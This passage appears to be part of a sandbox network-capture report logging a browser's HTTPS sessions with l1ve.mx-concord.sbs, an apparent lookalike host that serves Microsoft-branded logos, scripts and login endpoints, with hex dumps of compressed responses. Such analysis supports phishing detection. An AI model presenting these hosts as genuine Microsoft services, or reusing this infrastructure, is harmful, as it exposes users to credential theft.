2024-08-28 20:21:37 UTC	804	IN	Data Raw: f4 89 6d a5 49 af a8 3b 83 02 35 da 35 fd d2 15 df 5c 26 38 98 04 e2 b2 e8 04 50 f6 01 2c a1 5c 69 e8 3b c5 95 df e3 7c 08 b4 35 27 15 5a 69 3a fb 6e a5 10 56 53 5b 29 ee d0 86 d6 98 e0 b5 63 78 83 0d 68 69 4e b3 91 99 8d 0d 4b 9c f3 8b 46 42 72 c5 3a 30 f0 75 d0 4c 21 a1 15 5a 9f 9d 81 19 67 cd 3a ad 9c 93 64 d5 ba 41 0e 88 77 83 23 c9 55 5f c3 2b 85 5f 77 92 cb f4 20 39 a5 5f 31 8c 43 4b c2 f9 75 cd b1 91 ab b4 16 b6 8f 86 55 47 cb 70 9c c4 e3 31 dc db 7e 16 8f 81 10 09 07 38 95 69 06 08 d4 9e eb ac 88 08 dd 4a 8b af 46 24 1c 6d c4 e8 75 cd 97 cf af fb 56 f7 2d f6 59 a6 40 ca 7e bd 51 c0 1e 58 c7 0d a2 be 6c 18 e7 d7 ad 6b cf 98 78 0b c8 f9 f4 76 9b d3 9b a9 85 d1 a9 e2 fd ba 82 01 7b 40 6b 64 8f b3 db e3 d7 db dc a0 fc 0d 08 4d 22 85 5f fc 3a ee 31 d0 Data Ascii: mI;55\&8P,\i;\|5'Zi:nVS[)cxhiNKFBr:0uL!Zg:dAw#U_+_w 9_1CKuUGp1~8iJF$muV-Y@~QXlkxv{@kdM"_:1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.16	49807	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:35 UTC	768	OUT	GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1 Host: 995a2a74-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l1ve.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:36 UTC	740	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:36 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 13543365 cache-control: public, max-age=31536000 etag: 0x8DB77257FFE6B4E last-modified: Tue, 27 Jun 2023 15:45:14 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b5fbab41-901e-000e-535a-7ef83b000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:37 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2024-08-28 20:21:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.16	49806	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:35 UTC	755	OUT	GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1 Host: 995a2a74-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l1ve.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:36 UTC	740	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:36 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 13543365 cache-control: public, max-age=31536000 etag: 0x8DB77257C91B168 last-modified: Tue, 27 Jun 2023 15:45:09 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 352a32d5-c01e-00c3-1d5a-7ea364000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:37 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2024-08-28 20:21:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.16	49810	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:37 UTC	490	OUT	GET /GetExperimentAssignments.srf HTTP/1.1 Host: l1ve.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:39 UTC	519	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 28 Aug 2024 20:21:39 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close cache-control: no-store, no-cache pragma: no-cache p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-wlid-error: 0x80043449 referrer-policy: strict-origin-when-cross-origin x-ms-route-info: C506_BAY x-ms-request-id: 2edec12f-be7f-4f2d-a5c4-d722109cec16 ppserver: PPV: 30 H: PH1PEPF0001820E V: 0 access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.16	49811	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:37 UTC	654	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: l1ve.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://l1ve.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA==" Sec-WebSocket-Key: jwIrVMXqx8kl6tkQbZQ5jg== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:21:40 UTC	296	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ppserver: PPV: 30 H: SN1PEPF0002F1B9 V: 0 access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.16	49813	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:37 UTC	517	OUT	GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1 Host: 995a2a74-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:38 UTC	740	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:38 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 13543367 cache-control: public, max-age=31536000 etag: 0x8DB77257C91B168 last-modified: Tue, 27 Jun 2023 15:45:09 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 352a32d5-c01e-00c3-1d5a-7ea364000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:39 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2024-08-28 20:21:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.16	49812	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:37 UTC	530	OUT	GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1 Host: 995a2a74-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:39 UTC	740	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:39 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 13543368 cache-control: public, max-age=31536000 etag: 0x8DB77257FFE6B4E last-modified: Tue, 27 Jun 2023 15:45:14 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b5fbab41-901e-000e-535a-7ef83b000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:39 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2024-08-28 20:21:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.16	49814	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:37 UTC	533	OUT	GET /shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js HTTP/1.1 Host: 995a2a74-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:39 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:39 GMT Content-Type: application/x-javascript Content-Length: 32827 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 1109884 cache-control: public, max-age=31536000 etag: 0x8DCB8B8BCF38323 last-modified: Fri, 09 Aug 2024 21:17:56 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 3290ada4-401e-00eb-496f-eff995000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:39 UTC	15639	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dc bd 69 77 db 38 b3 3f f8 7e 3e 85 c4 e9 f1 25 db b0 22 39 6b 4b 61 74 12 c7 e9 38 9b dd b1 b3 74 bb 7d 7d 68 09 b2 d9 96 49 35 49 79 89 a5 ef 3e f5 2b 2c 04 29 3a c9 73 fe 77 e6 c5 ed d3 b1 88 85 20 50 28 14 aa 0a 55 85 7b bf b6 5b af d2 ac 35 8d 47 32 c9 65 2b 4e 26 69 76 11 15 71 9a b4 66 53 19 51 56 2e 65 2b 4d e4 38 df 88 92 68 7a 53 c4 a3 7c e3 9f fc b8 fb f8 f1 66 ef f1 e3 07 dd d1 93 87 f7 4f 1e 8e 1f 4c e4 93 ce 3f 79 e7 dd ce d6 f6 87 fd ed 4e 71 5d b4 7e bd f7 7f 79 73 34 51 64 f1 a8 f0 06 7e 2e a7 93 ce 95 3c 99 45 a3 f3 ad b3 79 72 7e 7c 91 c7 63 99 14 71 71 73 9c c7 f9 9c d2 51 f8 53 b5 16 8b c3 a3 a0 33 9b e7 67 fe e1 e1 83 c7 bd 23 71 bb b9 f9 f8 49 7f 32 4f 46 e8 be 9f 08 29 8a e0 b6 e8 64 be 0c 44 d1 19 fb Data Ascii: iw8?~>%"9kKat8t}}hI5Iy>+,):sw P(U{[5G2e+N&ivqfSQV.e+M8hzS\|fOL?yNq]~ys4Qd~.<Eyr~\|cqqsQS3g#qI2OF)dD
2024-08-28 20:21:39 UTC	16384	IN	Data Raw: 23 0d 6b 5c 14 6d 03 e9 6c 3e 25 02 be 3b 83 d9 2d 11 cd fd 9b 9c e4 87 9d 64 92 1a 38 f3 86 57 84 26 9c 3e 73 a0 36 2a 0a 4c dd 9c 84 e7 c1 fc b4 cc 41 c0 d2 4a 15 95 a1 ae cf c8 0c f7 e3 f6 aa 7a a9 9a 4c dd 4b d5 cc 2c c2 19 95 27 ad c3 0c ac 02 34 25 6c a8 8d a2 93 aa bb 9b 3b 79 79 35 89 06 0d e5 55 ea b9 33 9a 55 79 2d 12 23 95 ab 71 4a 72 de 25 62 ed a5 b4 e9 a6 10 8e 13 de ea d5 2f 9a 4f 55 8c 92 b8 43 b8 55 e0 0e 4d 8e 1b ab de 76 32 49 62 8c 88 30 da ab e9 9c fb e8 ca b3 7b 75 5a 4d fc 90 b2 ac 4d 7f cc 9d 74 ef e0 4c b4 0d 5d c7 5c 4f af 4f 71 76 69 2c b8 78 77 00 4e e5 df 30 c3 15 40 38 ab 44 c0 a8 76 cf 15 28 b4 a1 d2 99 f2 50 51 1c aa 73 59 0c 42 76 69 26 b4 2e a5 96 ce d0 da 1c 8a 3b c0 0e 05 9e d7 e7 28 20 08 ed 96 e2 ba a6 34 18 28 fb 91 Data Ascii: #k\ml>%;-d8W&>s6*LAJzLK,'4%l;yy5U3Uy-#qJr%b/OUCUMv2Ib0{uZMMtL]\OOqvi,xwN0@8Dv(PQsYBvi&.;( 4(
2024-08-28 20:21:39 UTC	804	IN	Data Raw: f4 89 6d a5 49 af a8 3b 83 02 35 da 35 fd d2 15 df 5c 26 38 98 04 e2 b2 e8 04 50 f6 01 2c a1 5c 69 e8 3b c5 95 df e3 7c 08 b4 35 27 15 5a 69 3a fb 6e a5 10 56 53 5b 29 ee d0 86 d6 98 e0 b5 63 78 83 0d 68 69 4e b3 91 99 8d 0d 4b 9c f3 8b 46 42 72 c5 3a 30 f0 75 d0 4c 21 a1 15 5a 9f 9d 81 19 67 cd 3a ad 9c 93 64 d5 ba 41 0e 88 77 83 23 c9 55 5f c3 2b 85 5f 77 92 cb f4 20 39 a5 5f 31 8c 43 4b c2 f9 75 cd b1 91 ab b4 16 b6 8f 86 55 47 cb 70 9c c4 e3 31 dc db 7e 16 8f 81 10 09 07 38 95 69 06 08 d4 9e eb ac 88 08 dd 4a 8b af 46 24 1c 6d c4 e8 75 cd 97 cf af fb 56 f7 2d f6 59 a6 40 ca 7e bd 51 c0 1e 58 c7 0d a2 be 6c 18 e7 d7 ad 6b cf 98 78 0b c8 f9 f4 76 9b d3 9b a9 85 d1 a9 e2 fd ba 82 01 7b 40 6b 64 8f b3 db e3 d7 db dc a0 fc 0d 08 4d 22 85 5f fc 3a ee 31 d0 Data Ascii: mI;55\&8P,\i;\|5'Zi:nVS[)cxhiNKFBr:0uL!Zg:dAw#U_+_w 9_1CKuUGp1~8iJF$muV-Y@~QXlkxv{@kdM"_:1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.16	49815	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:37 UTC	746	OUT	GET /16.000.30324.2/images/favicon.ico HTTP/1.1 Host: 995a2a74-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l1ve.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:39 UTC	674	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:39 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 1643090 cache-control: public, max-age=31536000 etag: 0x8DCB822B6541768 last-modified: Fri, 09 Aug 2024 03:24:00 GMT x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b651c7f2-e01e-007f-3d96-ea05b7000000 x-ms-version: 2009-09-19
2024-08-28 20:21:39 UTC	2286	IN	Data Raw: 38 65 37 0d 0a 00 00 01 00 06 00 10 10 00 00 00 00 20 00 16 01 00 00 66 00 00 00 18 18 00 00 00 00 20 00 24 01 00 00 7c 01 00 00 20 20 00 00 00 00 20 00 35 01 00 00 a0 02 00 00 30 30 00 00 00 00 20 00 6a 01 00 00 d5 03 00 00 40 40 00 00 00 00 20 00 f3 01 00 00 3f 05 00 00 80 80 00 00 00 00 20 00 b5 01 00 00 32 07 00 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 dd 49 44 41 54 78 9c dd 92 31 4e 43 41 10 43 df cc 8e 44 40 b0 22 2d 65 6e c4 21 90 68 c3 15 38 40 ce c4 39 68 a8 11 22 e4 ff 00 05 93 35 4d 1a b2 bf 89 68 10 2e 2d 8d c7 b6 6c 9b eb 85 4c fc 80 50 d6 59 09 5e 6c 75 77 ff c8 95 d9 72 dc 28 cd 08 0e e0 87 c7 c7 c2 7f 77 fe 17 04 42 28 7b da 12 04 f2 26 01 46 02 a9 89 be a2 ce 4e ba 66 Data Ascii: 8e7 f $\| 500 j@@ ? 2PNGIHDRaIDATx1NCACD@"-en!h8@9h"5Mh.-lLPY^luwr(wB({&FNf
2024-08-28 20:21:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.16	49817	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:39 UTC	508	OUT	GET /16.000.30324.2/images/favicon.ico HTTP/1.1 Host: 995a2a74-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:41 UTC	674	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:41 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 1643092 cache-control: public, max-age=31536000 etag: 0x8DCB822B6541768 last-modified: Fri, 09 Aug 2024 03:24:00 GMT x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b651c7f2-e01e-007f-3d96-ea05b7000000 x-ms-version: 2009-09-19
